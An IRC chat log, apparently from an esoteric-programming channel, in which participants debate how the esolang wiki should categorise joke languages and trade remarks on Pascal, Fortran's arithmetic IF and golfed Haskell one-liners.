19:08:55 <elliott> "COCAINE is a joke language created by John Unger Zussman, and is one of the lesser known programming languages. It was described in the Info World article as follows:
19:08:55 <elliott> Weary SLOBOL programmers often turn to a related (but infinitely faster) language, COCAINE."
19:09:21 <elliott> Just like [[Esme]] is a joke (except in another sense altogether).
19:10:18 <elliott> ais523: Really, I think the categorisation scheme people might want to lump Deadfish and HQ9+ and Ook! together is [[Category:Dumb]].
19:10:25 <elliott> I don't think we want [[Category:Dumb]].
19:10:39 <elliott> I mean, I'd have to add that to almost every article on the wiki.
19:10:42 <ais523> actually, I'd argue that we have [[Category:Unusable for programming]] laready
19:10:52 <ais523> so if we have a joke cat, it probably shouldn't mean the same thing
19:10:53 <elliott> Yes, that's a better criterion.
19:11:02 <ais523> (it's a computational class cat, somewhere below finite-state)
19:11:13 <elliott> OK, I'll take it to the categorisation page later today.
19:12:00 <ais523> what proportion of esolangs on the wikis are BF derivatives?
19:12:03 <ais523> (not counting BF itself)
19:12:04 <elliott> ais523: so, to check we're on the same page: of the things listed at http://esolangs.org/wiki/Joke_language_list, a list using a better definition would only include some entries from the general list, and the lesser-known programming languages list
19:12:46 <elliott> I agree that HQ9+ is a bit borderline, BTW; it's a joke that accidentally became a language instead
19:13:54 <ais523> so what's your opinion (in terms of categorisation) on Schrodilang, Compute, Text, Huby, and Feather?
19:14:03 <ais523> I think that should be a good test to probe most of the boundaries
19:14:45 <ais523> hmm, and what about this for a borderline: "intentionally underspecified"
19:15:21 <ion> “+: Increment the accumulator”
19:15:23 <RocketJSquirrel> "Specification intentionally insufficient for implementation"
19:15:23 * ion laughed out loud
19:15:32 <elliott> ion: look at HQ9++ next :)
19:15:50 <elliott> ais523: Schrodilang: joke language (alas, this means we'll have to bend the category rules to allow the implemented+unimplemented joke to stay)
19:16:00 <ais523> you need to know too much OO to get the joke in HQ9++
19:16:08 <ion> elliott: hehe
19:16:21 <ais523> and it's not as good as the original, although it's still good
19:16:30 <elliott> ais523: Compute: joke language (the "implementation" does not actually implement the language, just something observationally equivalent -- I refuse to be dragged into an argument over this, so I'm declaring it by fiat ;))
19:17:41 <ais523> elliott: I'm inclined to agree
19:17:50 <elliott> ais523: DOGO -- ugh, maybe we do need two articles; DOGO-from-the-article is a joke language, DOGO-inspired-by-the-article is a full language (albeit a fairly boring one)
19:18:04 <RocketJSquirrel> elliott: Rather than talking this all out here, you should make a talk: page that shows a suggested categorization. I'm losing track of all the options.
19:18:44 <elliott> RocketJSquirrel: I'm talking about it with the other adult^Wadministrator in the room before taking it to [[Esolang talk:Categorization]] like I said :P
19:19:03 <elliott> ais523: Text -- mmh... let me defer this one until I've done the others
19:19:11 <RocketJSquirrel> That's the other reason to make it a talk page: Because I don't actually pay attention ;)
19:19:27 <elliott> ais523: Feather -- not a joke language, just a joke article about a non-joke language
19:20:09 <ais523> elliott: well, suppose I claim a language exists, I just haven't specified it yet
19:20:13 <olsner> hmm, has there been no wiki changes since last night, or has RecentChanges just stopped working?
19:20:17 <elliott> ais523: aha, I thought of a way to decide for Text
19:20:27 <ais523> then refuse to elaborate when people request details
19:20:28 <elliott> ais523: the article specifies a language, but that language /isn't the joke/
19:20:44 <elliott> "Print the program's text."
19:20:48 <ais523> I was thinking along the lines that the language is very computationally weak
19:21:06 <ais523> oh, I wasn't under the impression that a joke language had anything to do with being funny
19:21:14 <elliott> well, funniness is irrelevant
19:21:29 <elliott> in Text, the language it specifies isn't the joke, it's incidental to the joke, so it's a joke language
19:21:44 <elliott> in HQ9+, there is no joke other than the language itself; it's a full language
19:21:46 <tswett> I think I've realized what topological dynamical systems have to do with recurrent sequences.
19:21:53 <elliott> (yes, this means that the less jokey the language itself is, the more of a joke language it is...)
19:22:08 <ais523> elliott: that sort of thing does not surprise me
19:22:24 <tswett> I'm gonna have to read oerjan's PhD thingy.
19:22:26 <elliott> ais523: anyway, here's another criterion: if you don't want me to remove it from the language list, it's not a joke language
19:22:36 <RocketJSquirrel> elliott: So what category does that leave for languages which ARE the joke?
19:22:41 <elliott> do you want me to remove HQ9+ from the language list? no, so it's not a joke language
19:22:49 <elliott> what about QWERTY Keyboard Dot Language? yes, so it's a joke language
19:22:56 <ais523> elliott: I'm fine for the two to be exclusive
19:23:04 <ais523> OK, is IRP a joke language?
19:23:11 <ais523> I'm inclined to say no
19:23:21 <ais523> (my current plan is to compile a bunch of examples, then use them to work out the rule)
19:23:23 <elliott> because it doesn't actually specify a language
19:23:49 <elliott> <RocketJSquirrel> elliott: So what category does that leave for languages which ARE the joke?
19:23:54 <olsner> so joke languages that aren't languages will move to Category:Joke?
19:24:06 <elliott> RocketJSquirrel: What I said doesn't really make sense out of context... my point is that you don't _need_ a category for HQ9+ or Deadfish
19:24:17 <elliott> RocketJSquirrel: The former is funny, the latter is stupid; neither is a good objective categorisation
19:24:34 <elliott> RocketJSquirrel: They're still languages, just languages unusable for programming, which we already have a category for
19:24:34 <ais523> I don't think Deadfish is stupid
19:24:40 <ais523> it's just My First Unfinished Esolang
19:24:41 <elliott> ais523: I said it was subjective :)
19:24:45 <ais523> or, like, an esolang for small children
19:24:53 <elliott> well, it's stupid in a very literal sense
19:25:01 <olsner> an esolang for small children :)
19:25:02 <elliott> as in, the language itself is stupid, not the act of creating it
19:25:39 <RocketJSquirrel> elliott: But isn't there a distinction between languages intentionally unusable for programming due to their being a joke, and languages unusable for programming either due to being unintentionally restricted or intentionally obtuse?
19:25:51 <elliott> Can we all agree, at least, that brainfuck derivatives don't count as joke languages?
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19:26:10 <ais523> I believe it's possible to have a BF derivative that's also a joke language
19:26:13 <elliott> ais523: no, that was a blanket statement
19:26:23 <elliott> no, that's just a language you created as a joke
19:26:40 <ais523> elliott: if it /wasn't/ based on BF it'd fit all the criteria to be a joke language
19:26:48 <ais523> you consider Minimum a joke language, right?
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19:26:59 <elliott> at this rate, I'm tempted to just delete the joke language list and purge the joke languages category
19:27:03 <RocketJSquirrel> I don't know if I'm comfortable with a world where "joke language" and "language created as a joke" don't mean the same thing >_>
19:27:11 <ais523> RocketJSquirrel: INTERCAL was created as a joke
19:27:15 <elliott> since, clearly, there are no two members of the wiki who agree what it means
19:27:18 <ais523> but no esolanger considers it a joke language
19:27:31 <elliott> RocketJSquirrel: that makes like 80% of esolangs joke languages
19:27:58 <olsner> just make joke language and language two names for the same category?
19:27:59 <elliott> ais523: hmm, I was wrong that no page on esolang has only one revision
19:28:15 <ais523> elliott: I imagine one-revision pages simply aren't shown in the list
19:28:17 <olsner> maybe add one for non-eso languages, if we have any of those
19:28:34 <hagb4rd> <hagb4rd>is AAAAAAAAAAAAAA!!!! a 'complete'/'full'/'real' language? or what would be a good definition of that?
19:28:36 <elliott> olsner: you want to put COCAINE on the regular language list?
19:28:38 <ais523> I thought there were bound to be loads, unless we had a drive-by categoriser or something
19:28:51 <elliott> hagb4rd: yes, AAAAAAAAAAAAAA!!!! is just an esoteric language
19:29:20 <ais523> OK, I'm pretty sure we're all agreed that syntactic gimmicks don't by themselves make a language a joke language, no matter how silly or stupid they are, right?
19:29:50 <elliott> i agree, so everyone must agree
19:29:50 <olsner> elliott: not sure if that's a language... just a joke maybe?
19:30:10 <ais523> next step: who here thinks it's possible for a language to simultaneously be a joke language, and Turing-complete?
19:30:19 <elliott> ugh, ok, it seems like most people actually want a list of languages created as jokes
19:30:31 <elliott> we're now the universal arbitrators of humour
19:30:34 <ais523> RocketJSquirrel: can you give an example?
19:30:43 <ais523> I'm torn on that issue, atm
19:31:01 <ais523> RocketJSquirrel: I'd say SLOBOL as defined is non-joke
19:31:20 <ais523> it's actually /easier/ to implement and run than TwoDucks, which isn't a joke either
19:31:22 <elliott> by the way, i am not convinced shafuck is tc
19:31:32 <hagb4rd> yes, it would be easier to define what makes a language 'complete' than what makes it 'funny'
19:31:54 <elliott> ais523: i guess slobol is more likely
19:31:56 <elliott> since it's per-line, afaict
19:32:08 <elliott> actually, I don't understand its spec at all
19:32:33 <elliott> RocketJSquirrel: Let's put it this way: You say ShaFuck is a joke language because you created it as a laugh.
19:32:54 <RocketJSquirrel> Right right, and the problem is that I created ORK as a laugh.
19:32:55 <elliott> RocketJSquirrel: That's what 90% of people who put languages on the wiki think about their languages: they created them as a laugh.
19:33:10 <ais523> I'm not sure if I've created /any/ esolangs as jokes
19:33:25 <ais523> oh, brainfuck (lowercase b), I guess, but that isn't on the wiki yet
19:33:26 * elliott was all about to use Checkout as an example of where that doesn't apply
19:33:31 <RocketJSquirrel> The esolangs he's made have all been earnest attempts at the world's next Java.
19:33:43 <elliott> ais523: I could turn on the MW thing that makes page titles fully case-sensitive :)
19:33:59 <ais523> err, I meant Brainfuck (uppercase b)
19:35:09 <hagb4rd> hard to say since the the source of all humour might be the experience of harm
19:36:20 <ais523> hagb4rd: reminds me of a cartoon I saw in the newspaper a while back, where a musician was complaining to his parents that they didn't bring him up in a dysfunctional environment, so he had nothing to write about
19:36:38 <elliott> ais523: there's only 70 non-redirect mainspace pages with only one revision
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19:39:28 <elliott> hmm, my next 100 reddit comments have to be one-liners to make up for that gigantic one
19:42:08 <elliott> oerjan: we've just been talking about how the joke language classification is a huge mess, btw
19:43:54 <oerjan> <fizzie> Anyway, I'm sure there's more than one book. <-- FILTHY HERETIC!
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19:47:44 <oerjan> <elliott> it's "pass :accountname"
19:48:15 <oerjan> i'm pretty sure i don't do that, but i guess it doesn't matter if you always connect with one of the nicks in the account?
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19:57:19 * oerjan without having read the mess yet, on the spot thinks of the following classification scheme for joke languages: Cyphers, Cloud Cuckoolanders, Crap and Can't Compute
19:58:02 <oerjan> admittedly there might be some overlap.
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19:58:39 <fizzie> oerjan: What would they *burn* if there were just the one Good Book?
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19:58:50 <oerjan> for example, Esme would belong to all but the first category.
19:58:52 <hagb4rd> all in all a classification in joke and non-joke languages is not a good idea
19:59:13 <oerjan> fizzie: hm that's a point.
20:01:00 <oerjan> maybe we could make a table with checkmarks for each category, in some relevant order
20:02:04 <ais523> oerjan: how do you know Esme is sub-TC? it's too underspecified to calculate a computational class for it
20:02:32 <oerjan> wait, that would make my reordering crusade much more arduous...
20:02:40 <elliott> * oerjan without having read the mess yet, on the spot thinks of the following classification scheme for joke languages: Cyphers, Cloud Cuckoolanders, Crap and Can't Compute
20:02:47 <oerjan> ais523: oh right. maybe cloud cuckoolanger should imply can't compute
20:02:50 <elliott> oerjan: the problem isn't the categorisation _beyond_ what we have.
20:03:07 <elliott> the problem is what we call joke language vs. not a joke language to start with
20:03:11 <ais523> elliott: oerjan's categorisation can be seen as a definition in its own right
20:03:27 <elliott> oerjan: (for instance, HQ9+ is currently on both the language and joke language lists. and in both categories.)
20:03:54 <oerjan> elliott: that is presumably only due to being famous...
20:04:21 <oerjan> if HQ9+ weren't famous, you wouldn't have any compunction removing it from languages, i think.
20:04:22 <elliott> (whereas Ook! is not on the language list (!), but is on the joke language list, and is not in [[Category:Languages]] but /is/ in several categories we conventionally reserve for non-joke languages only.)
20:04:37 <elliott> oerjan: yes, i would. but it's pointless repeating the discussion we just had before you get to it, anyway.
20:04:49 <olsner> why not just remove joke language and put all languages in language?
20:05:00 <ais523> I vote that Ook! is historically important, but doesn't fit the modern definition of a joke language
20:05:09 <ais523> and thus should be recategorised as a "dwarf joke language2
20:05:09 <elliott> olsner: you proposed that earlier and got an answer...
20:05:17 -!- MoALTz_ has joined.
20:05:27 <elliott> olsner: http://esolangs.org/wiki/QWERTY_Keyboard_Dot_Language you think this belongs in [[Category:Languages]]?
20:05:29 <oerjan> elliott: that's becaus Ook! is a cipher (looking at wikipedia, i think y is wrong there), which means it can be a joke despite fulfilling all other requirements
20:06:06 <elliott> oerjan: "the categorisation we have for joke languages is correct. evidence: the categorisation we have for joke languages"
20:06:16 <elliott> anyway, like i said, pointless to reiterate
20:06:31 <elliott> olsner: http://esolangs.org/wiki/Mugh_brains or this
20:07:09 <olsner> elliott: well, put all languages in language, anything in joke language but not a language loses a category (for now anyway)
20:07:56 -!- MoALTz has quit (Ping timeout: 244 seconds).
20:08:24 <elliott> olsner: ... the whole point is that we don't have a well-defined criterion for what is a "language"
20:08:42 <olsner> hmm, I thought the problem was the joke classification
20:08:53 <olsner> ah well, remove both categories if you don't know what they mean
20:10:36 <elliott> heh, oerjan didn't write [[CHIQRSX9+]]
20:15:27 <zzo38> I think Ook! belongs in [[Category:Languages]] and in [[Category:Joke languages]], but QWERTY Keyboard Dot Language belongs in only [[Category:Joke languages]], and same with Mugh brains.
20:15:50 <zzo38> But this is just my opinion and is not necessarily best way if you have a better idea.
20:16:45 <elliott> zzo38: what about ShaFuck?
20:18:08 <zzo38> elliott: I don't know, but at least it belongs in some category which mentions relation to brainfuck
20:19:52 -!- Patashu has joined.
20:20:49 <zzo38> Esme, ###, IRP, NOT A PROGRAM, TURKEY BOMB, and lesser known programming languages, belongs in Joke languages only, in my opinion (at least for now).
20:21:59 <zzo38> And also Magritte, Compute, Babbage, Parrot, and Unnecessary.
20:22:59 -!- augur has quit (Remote host closed the connection).
20:30:21 <oerjan> <elliott> heh, oerjan didn't write [[CHIQRSX9+]] <-- no, it was there when i joined the wiki, i think, which did however give me an excuse to make [[Ørjan Johansen]] :P
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20:34:31 <elliott> i haven't yet indulged in [[Elliott Hird]]. mostly because i can't decide whether i want it to be called that or [[ehird]]
20:34:49 <ais523> compromise on [[elliott]]?
20:34:52 <Taneb> I haven't yet indulged in [[Nathan van Doorn]] because I feel unworthy
20:35:04 <elliott> ais523: i think that would be rather unfair to other potential elliotts :P
20:35:04 <ais523> I misread the rn as an m
20:35:14 <Taneb> ais523, that happens often
20:35:22 <elliott> being mononymous would be cool though
20:35:22 <ais523> elliott: don't you dislike most other elliotts?
20:35:40 <ais523> elliott: I wasn't sure if you disliked him
20:35:45 <oerjan> we just need to find a font which makes rn indistinguishable from m, and use it for that page
20:35:45 <ais523> presumably no, based on that?
20:35:51 <ais523> that's why I said most, rather than all, anyway
20:35:57 <Taneb> Well, I've got A Book on C down from the bookshelf
20:35:59 <ais523> oerjan: overkerning is sometimes called "keming"
20:36:04 <Taneb> It's about the programming language
20:36:33 <ais523> rn is clearly distinguishable from m in this font, but it still looks like an m
20:36:37 <ais523> just a different sort of m
20:36:44 <oerjan> ais523: hm would it be possible to use CSS to force rn to look like m?
20:36:53 <oerjan> (without changing the font itself)
20:37:17 <ais523> you could use CSS to hide it and replace it with an m, I guess
20:37:22 <ais523> but that'd need you to tag the rn
20:37:35 <oerjan> well obviously it needs some tag
20:37:38 <ais523> and you wouldn't be able to highlight the r and n separately
20:38:10 <Taneb> This book was published 1984
20:38:29 <Taneb> Will it still work?
20:39:07 <oerjan> Taneb: it should work doubleplusgood
20:39:11 <elliott> <oerjan> ais523: hm would it be possible to use CSS to force rn to look like m?
20:39:14 <elliott> oerjan: yes, with letter spacing
20:39:38 <Taneb> What kind of programming language is Pascal?
20:39:55 <oerjan> Taneb: imperative, structured, not object oriented without extensions
20:40:18 <Taneb> It's mentioned to contrast with C
20:40:20 <oerjan> not very modular either
20:40:39 <Taneb> I am using Windows at the moment, and lack a C compiler
20:40:52 <elliott> Taneb: i really wouldn't read that book.
20:40:58 <oerjan> (again, without extensions. turbo pascal was popular at one time and included a lot of needed extras)
20:40:58 <ais523> Pascal was invented by a member of the Algol 68 committee who didn't like the direction Algol 68 would take
20:41:07 <elliott> Taneb: most C books are of appallingly low quality and will set you on the road to misconceptions and hellishness.
20:41:32 <Taneb> I shall write the first program written
20:41:36 <oerjan> algol 68 has second system syndrome, iiuc, so Pascal tried to simplify the original Algog even further instead
20:43:17 <oerjan> Taneb: oh and Pascal also follows Wirth's afaik general policy of being very simply parseable with readable keywords
20:43:49 * elliott finds the worst citation in all of Wikipedia.
20:44:22 <oerjan> (Pascal is LL(1), i suspect)
20:44:27 <Taneb> So, can anyone reccomend a C compiler for Windows?
20:44:46 <zzo38> Taneb: I use GNU C compiler with MinGW
20:44:56 <elliott> actually i should stop giving advice to people who ignore advice
20:45:38 <oerjan> people call pascal bad but i cannot help having a bit of a weak spot for it, as the first structured language i learned
20:45:51 <ais523> (note: recommendation ceased being valid about 10 years ago)
20:46:10 <zzo38> Which programming languages have "arithmetic if"?
20:47:10 <ais523> zzo38: if there aren't enough, you can invent some to redress the balance
20:47:17 <ais523> or alternatively, if there are too many, you can invent some that don't have it
20:48:29 <zzo38> ais523: No I mean which ones not if there is too much or not enough.
20:49:12 <zzo38> oerjan: Where the condition is always two inputs and then you compare, the jump target or result or whatever is depend on less, equal, greater.
20:49:25 <ion> https://gist.github.com/2205391
20:49:55 <oerjan> oh. i'm not sure i know of any, although computed goto might be used...
20:50:12 <oerjan> (fortran (i think) and some basics)
20:50:26 <zzo38> http://en.wikipedia.org/wiki/Arithmetic_IF
20:50:56 <ais523> you can sort-of simulate it in Perl, by using <=> to index a hash tbable
20:51:25 <elliott> oerjan: fortran has arithmetic if
20:51:45 <zzo38> I know Fortran does, that article describes it. I just wanted to know if anything else would have.
20:52:21 <zzo38> The only other one I know is TeXnicard which also uses arithmetic if.
20:53:20 <oerjan> > [["smaller","equal","bigger"]!!compare 0 a | a <- [-5..5]]
20:53:21 <lambdabot> Couldn't match expected type `GHC.Types.Int'
20:53:59 <lambdabot> forall a. (Ord a) => a -> a -> Ordering
20:54:00 <oerjan> > [["smaller","equal","bigger"]!!fromEnum(compare 0 a) | a <- [-5..5]]
20:54:01 <lambdabot> ["bigger","bigger","bigger","bigger","bigger","equal","smaller","smaller","...
20:54:03 <ais523> hmm… Python syntax : Perl syntax :: kana : kanji, discuss
20:54:40 <ais523> haha, !! . fromEnum . compare probably does count
20:54:54 <ais523> or does . work the other way round in Haskell?
20:55:06 <elliott> ais523: that doesn't work because (!!) takes the list as its first argument
20:55:14 <elliott> and because compare takes two arguments
20:55:18 <elliott> that's (\x -> (!!) (fromEnum (compare x)))
20:55:25 <elliott> == (\x y -> fromEnum (compare x) !! y)
20:55:38 <ais523> agreed on the (!!); the compare taking two arguments thing is ridiculous, though, despite being correct
20:56:16 <ais523> I guess currying only goes so far
20:56:25 <zzo38> (TeXnicard's arithmetic if instruction is pure; not all of TeXnicard's instructions are pure but the arithmetic if instruction is)
20:56:37 <hagb4rd> beeing minimal the only if operation you need is jnz..do you agree?
20:56:56 <ais523> in Underload, * doesn't care about argument count
20:56:58 <elliott> it would be ridiculous for (. compare) to automatically gobble up the other argument
20:57:07 <elliott> concatMap f = concat . map f -- suddenly this is invalid
20:57:30 <elliott> everything in underload is a function from one stack to one stack
20:57:52 <hagb4rd> at least i guess every complex comparison leads down to jnz on a low level
20:57:58 <ais523> elliott: gah you wrote it backwards!
20:58:02 <elliott> cat :: (s1 -> s2) -> (s2 -> s3) -> (s1 -> s3)
20:58:05 <ais523> dup :: (r,a) -> ((r,a),a)
20:58:08 <lambdabot> forall (cat :: * -> * -> *) a b c. (Control.Category.Category cat) => cat a b -> cat b c -> cat a c
20:58:14 <elliott> modulo the category thing anyway
20:58:16 <lambdabot> forall a b (f :: * -> *). (Functor f) => f a -> (a -> b) -> f b
20:58:21 <elliott> so, haskell (.) is exactly like underload *
20:58:40 <oerjan> hagb4rd: or jump tables
20:58:57 <ais523> elliott: not really; what you're saying is that you need to interpret all Underload functions as taking one returning one in order to make the embedding in Haskell work
20:59:36 <hagb4rd> if its possible to sum it up shortly
20:59:40 <elliott> ais523: the definition of concatenative
20:59:50 <oerjan> hagb4rd: you have a table of destinations, and jump indirectly using your value as the index...
20:59:51 <elliott> ais523: is that (f++g) === (f . g)
21:00:06 <elliott> i.e. (f++g)(stk) === g(f(stk))
21:00:26 <ais523> elliott: and we're arguing about what . means
21:00:26 <elliott> if you say underload * works on something other than functions of one argument, you are claiming underload isn't concatenative
21:00:32 <elliott> ais523: feel free to "generalise" that (.)
21:00:36 <elliott> you'll see it doesn't work
21:00:43 <elliott> with your proposed generalisation
21:00:43 <ais523> elliott: on one level, the functions have one argument
21:00:46 <ais523> on another level, they don't
21:00:53 <ais523> consider them as taking one tuple, for instance
21:01:10 <ais523> you can still use Haskell (.) there, but now they're effectively taking two arguments
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21:02:40 <oerjan> > [((((["smaller","equal","bigger"]!!).fromEnum).).compare) 0 a | a <- [-5..5]]
21:02:41 <lambdabot> ["bigger","bigger","bigger","bigger","bigger","equal","smaller","smaller","...
21:04:17 <hagb4rd> oerjan: but how to compare if sth is smaller, greater or equal using that table you mentioned? wouldn't it take an infinte number of indexes on that table
21:05:04 <oerjan> hagb4rd: well ok, if you want all values...
21:05:41 <elliott> i hate whoever added this citation
21:07:37 <oerjan> hagb4rd: hm, you could so shift right to get it down to 0 or 1 >:)
21:09:47 <hagb4rd> which directly leads us to jnz in the end..
21:10:11 <oerjan> hagb4rd: no, you can use the jump table there :P
21:10:56 <zzo38> I used negative,zero,positive like Fortran does. Using subtract with strings is the C strcmp so you can use arithmetic if to compare strings too.
21:11:39 <elliott> HOW DO YOU USE THIS STUPID WEBSITE
21:11:39 <hagb4rd> but why/when should i do that?
21:12:23 <hagb4rd> beside when beeing mentally ill
21:14:04 <oerjan> hagb4rd: um wait, jnz only compares to zero, right? that's rather inconvenient for comparing non-equal numbers...
21:14:46 <elliott> ha, and of course the suggested simpler interface doesn't work
21:15:36 <hagb4rd> oerjan: its absolutely sufficient for comparing non-equal numbers..what do you mean?
21:17:22 <hagb4rd> yes.. i just wanted to know if it really is everything i need (strictly)
21:18:58 <hagb4rd> furthermore i do not understand the use case of comparison functions returning anythin else than true or false
21:19:14 <oerjan> hagb4rd: um comparison is a three-way thing.
21:19:42 <oerjan> less than, equal, or greater than
21:20:00 <fizzie> > [((((["many","two","one"]!!).fromEnum).).compare) 2 a | a <- [1..]] -- I can count
21:20:02 <lambdabot> ["one","two","many","many","many","many","many","many","many","many","many"...
21:20:04 <hagb4rd> sure but the output will always be true or false right?
21:20:40 <hagb4rd> then i just misunderstood the problem..sry
21:20:40 <oerjan> hagb4rd: are you unfamiliar with switch/case statements?
21:21:03 <oerjan> hagb4rd: jnz doesn't easily allow you to check which number is greater if they are not equal
21:21:20 -!- augur has joined.
21:21:21 <oerjan> (you could use the shift right trick with it, though)
21:22:29 <hagb4rd> i wasn't just sure if one is able to reduce all that nice (or complex) comparisons to jnz on a lower level
21:22:40 <oerjan> yes. it turns negative numbers into 1 and nonnegative numbers to 0.
21:23:12 <oerjan> assuming 2's complement, which is ubiquitous.
21:23:24 <oerjan> although it doesn't work with unbounded integers...
21:23:54 <oerjan> oh we had that shift left trick the other day for that.
21:24:47 <oerjan> which has the small problem it gives astronomical size intermediate numbers :P
21:26:04 <fizzie> oerjan: If you feel like dazzling people on an unrelated channel, this could do with some golfing:
21:26:07 <fizzie> > let seql = maximum . map (length . takeWhile (uncurry (==)) . ap zip (enumFrom . head)) . tails in seql [22,23,5,6,7,8,9,13,14]
21:26:14 <oerjan> summary: lots of things can be written in terms of other things.
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21:27:43 -!- hagb4rd2 has changed nick to hagb4rd.
21:27:50 <lambdabot> forall a. (a -> a -> Ordering) -> [a] -> a
21:28:06 <elliott> > let seql = maximum . map (length . takeWhile (uncurry (==)) . zip <*> enumFrom . head) . tails in seql [22,23,5,6,7,8,9,13,14]
21:28:07 <lambdabot> Couldn't match expected type `a1 -> a'
21:28:11 <elliott> > let seql = maximum . map (length . takeWhile (uncurry (==)) . (zip <*> enumFrom . head)) . tails in seql [22,23,5,6,7,8,9,13,14]
21:29:26 <fizzie> oerjan: Length of longest sequence of consecutive integers in the list.
21:30:11 <fizzie> Or rather, maximum of "length of a prefix consisting of consecutive integers" in tails, if you want a more literal description.
21:30:17 -!- MoALTz_ has quit (Quit: Leaving).
21:30:20 -!- tzxn3 has quit (Quit: Leaving).
21:31:23 <fizzie> (Having "takeWhile id" and "zipWith (==)" was a character or two shorter, but it's a bit boring.)
21:33:35 <elliott> > tails [22,23,5,6,7,8,9,13,14]
21:33:36 <lambdabot> [[22,23,5,6,7,8,9,13,14],[23,5,6,7,8,9,13,14],[5,6,7,8,9,13,14],[6,7,8,9,13...
21:34:00 <HackEgo> 463) <fizzie> The zipWith Camel, a famous World War 1 era airplane.
21:34:14 <fizzie> I can't not think of that whenever I write "zipWith".
21:34:35 <elliott> > map (\x -> (x, enumFrom x)) [22,23,5,6,7,8,9,13,14]
21:34:36 <lambdabot> [(22,[22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,...
21:34:37 <oerjan> > maximum.map length.group.zipWith(-)[0..]$[22,23,5,6,7,8,9,13,14]
21:35:05 * oerjan does a little victory dance
21:35:13 <elliott> why is Ted Dziuba commenting in /r/haskell :(
21:35:26 <elliott> that ups the complete fucking moron count to like 3
21:36:46 <fizzie> oerjan: I can't find the properly impressed words, but I guess I could go with "whoa".
21:39:15 <elliott> WHY DOES THE INTERNET HATE ME
21:39:38 <oerjan> because of your intelligence, clearly.
21:39:47 <oerjan> or could it be the smashing good looks
21:40:06 <shachaf> I think the Internet hates you because you hate the Internet.
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21:51:45 <elliott> http://en.wikipedia.org/w/index.php?title=Cornelis_H._A._Koster&diff=484080655&oldid=449351404
21:51:59 <elliott> this was the most painful thing i have ever attempted to do on the internet.
21:52:15 <zzo38> Can you help me with things of TeXnicard such as documentation of the things that already works and so on?
21:54:20 <elliott> ais523: can you edit Esolang? it's had none today!
21:54:36 <elliott> i guess i'll do what oerjan does
21:54:51 <ais523> time to go home, sadly
21:55:05 <ais523> well, maybe only sad for your inactivity complaints
21:55:08 <elliott> http://esolangs.org/wiki/Yo
21:55:17 <elliott> i think oerjan's technique may prove fatal for my faith in humanity.
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21:59:57 <elliott> oerjan: i am not sure i can oblige your request for a logo on wikipedia interwikis
22:00:57 <elliott> oerjan: commons lists the favicon as public domain but containing a trademark of the wikimedia foundation.
22:01:25 <elliott> which means I'll have to obey the trademark policy. or get express permission from them, which I can't be arsed to do.
22:01:55 <oerjan> well, i never demanded it had to be a wikipedia logo...
22:02:24 <elliott> oerjan: you have a better idea than the W?
22:02:33 <elliott> (note: the external link icon isn't an option.)
22:02:44 <oerjan> <elliott> i think oerjan's technique may prove fatal for my faith in humanity. <-- what technique?
22:02:57 <oerjan> the external link icon.
22:03:04 <elliott> "link directly to Wikimedia's website(s) by using banners and buttons derived from Wikimedia trademarks and logos." this *may* legitimise it.
22:03:13 <elliott> <oerjan> <elliott> i think oerjan's technique may prove fatal for my faith in humanity. <-- what technique?
22:03:38 <oerjan> mind you, i've been clicking on random pages and thinking "nah, can't be bothered" too
22:04:41 <shachaf> oerjan: Could you swat elliott for me?
22:04:47 <oerjan> which might explain why there were no edits, if there werent' :P
22:05:24 <oerjan> shachaf: do you have a reason, in triplicate?
22:05:43 <shachaf> I have about 1/12th of that.
22:06:18 <oerjan> well just keep buying packages, and then you may eventually get a whole set.
22:06:22 <elliott> <oerjan> which might explain why there were no edits, if there werent' :P
22:06:28 <elliott> oh it just turned tomorrow in norway?
22:06:54 <elliott> http://esolangs.org/wiki/Farm fsdf'kdfls;f;'dflg
22:06:57 <oerjan> elliott: with my sleeping patterns "yesterday" is a varying term.
22:07:32 <oerjan> i take it you aren't finding anything to edit either.
22:07:38 <olsner> oerjan: yesterday is before you slept
22:07:47 <oerjan> just think of it as the stars being wrong today.
22:08:01 <elliott> oerjan: please, my sleeping patterns are weirder than yours
22:08:04 <elliott> but no, I just made an edit
22:10:01 <olsner> another useful rule: a new day starts with breakfast, so if you've been going too long on your current day and need to make a new one - just eat breakfast
22:10:06 <shachaf> oerjan: I think elliott has me on /ignore.
22:10:16 <zzo38> What do you mean, the stars are wrong today? Have you looked at them and not found them where the computer told you to look?
22:12:01 <oerjan> ok i'll swat him if he doesn't disprove it within a minute or so.
22:13:51 <oerjan> zzo38: cthulhu probably ate some of them.
22:14:38 <elliott> http://esolangs.org/wiki/MISC_Turing-completeness_proof i think we should delete this article for having a title that is a blatant lie.
22:14:42 * oerjan swats elliott -----###
22:15:16 * elliott notes that oerjan only swats people for non-reasons if _others_ ask.
22:15:54 <olsner> I guess he does it when there's a reason xor when people ask
22:16:13 <oerjan> elliott: hey it was a joke. also you could just move that page to http://esolangs.org/wiki/MISC_Turing-completeness_non-proof, hth
22:16:55 <oerjan> elliott: also i gave you more than 2 minutes.
22:17:37 <oerjan> _and_ checked that you weren't idle.
22:18:24 <elliott> i was idle for those minutes.
22:20:53 <oerjan> 00:13 idle : 0 days 0 hours 0 mins 32 secs [signon: Mon Mar 26 13:40:28
22:22:20 <elliott> as i said, i was idle for those minutes, whatever the IRC server says.
22:22:41 * oerjan swats elliott for doubting the mighty IRC server. -----###
22:24:21 * oerjan thinks MISC might still be TC by using the relative addressing in an infinite memory, TM style.
22:24:32 -!- elliott has set topic: featured language http://esolangs.org/wiki/There_Once_was_a_Fish_Named_Fred | http://codu.org/logs/_esoteric/.
22:25:00 <shachaf> oerjan: Swat elliott for pretending types in Haskell mean anything.
22:25:23 <shachaf> "the type proves it" -- ehird "what's _|_ anyway" elliott
22:25:54 * elliott wonders if shachaf is trying to convince him to actually /ignore him.
22:26:25 * oerjan swats shachaf -----###
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22:48:45 <elliott> alright, which one of you is 83.252.161.133
22:52:41 <elliott> i say olsner because http://esolangs.org/w/index.php?title=List_of_ideas&diff=prev&oldid=30952
22:58:06 -!- augur has quit (Remote host closed the connection).
23:04:13 <elliott> oerjan: i hope you didn't spend much time on that :P
23:04:42 <elliott> there is a part of me that keeps wanting to make the article for http://esolangs.org/wiki/Snack look amazing.
23:04:49 <elliott> but then i wonder if that might not ruin the poetic badness of it.
23:05:05 <elliott> especially the amazing first sentence.
23:05:57 <fizzie> There's a Pokemon evolve-related joke hiding in "* oerjan improve", but I don't know enough of the thing to make it.
23:10:38 <elliott> What's this? OERJAN is evolving!
23:10:51 <elliott> OERJAN involved into A|W#_)~IZ{A¦"L{qo@~_)the pain
